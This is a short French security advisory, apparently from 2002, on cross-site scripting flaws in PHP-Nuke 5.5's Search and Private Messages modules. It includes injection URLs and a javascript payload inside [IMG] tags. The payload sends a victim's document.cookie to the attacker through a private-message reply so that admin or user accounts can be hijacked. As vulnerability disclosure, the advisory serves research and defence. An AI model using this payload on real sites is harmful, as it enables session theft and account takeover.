PHP-Nuke 5.5 ************ Produit : ********* PHP-Nuke http://phpnuke.org Version : ********* 5.5 Date : ****** 03/03/02 Problemes : *********** - Cross Site Scripting. - Récuperation des cookies user/admin. Developpement : *************** Pas besoin de présenter phpnuke, tout le monde connait... La faille de cross site scripting se trouve dans le moteur de recherche de phpnuke : http://HOST/modules.php?name=Search . Le résultat de la recherche ne s'inscris nulle part, si on fait une recherche à "I don't like you..." PHPnuke le repere. Essayons de le faire executer dans une image : http://HOST/modules.php?name=Search&query="> "I don't like you..." PHPnuke le repere aussi. On peut voir dans les essais ici que le "> se met (ce qui est logique) après le texte inscris. On peut donc essayer de faire comme pour inscrire du texte, se servir de la source déjà dans la page pour construire un script. Il suffit donc d'inscrire : http://HOST/modules.php?name=Search&query="> La deuxième faille se trouve dans le module Private Messages : http://HOST/modules.php?name=Private_Messages. J'ai déjà fait un tuto sur les failles dans les messageries phpnuke, donc pas besoin de longues expliquations. Voici 2 scripts qui peuvent renvoyer le cookie d'un admin ou d'un user, ce qui permet donc de rentrer sur leur compte : [IMG] javascript:location= 'modules.php?name=Private_Messages&file=reply&to_user=YOURNICK&subject=cook&image=icon14.gif&message=' + document.cookie +'&submit=Submit' [/IMG] Patch : ******* / Greetz : ******** SubCOrner Credits : ********* frog-m@n leseulfrog@hotmail.com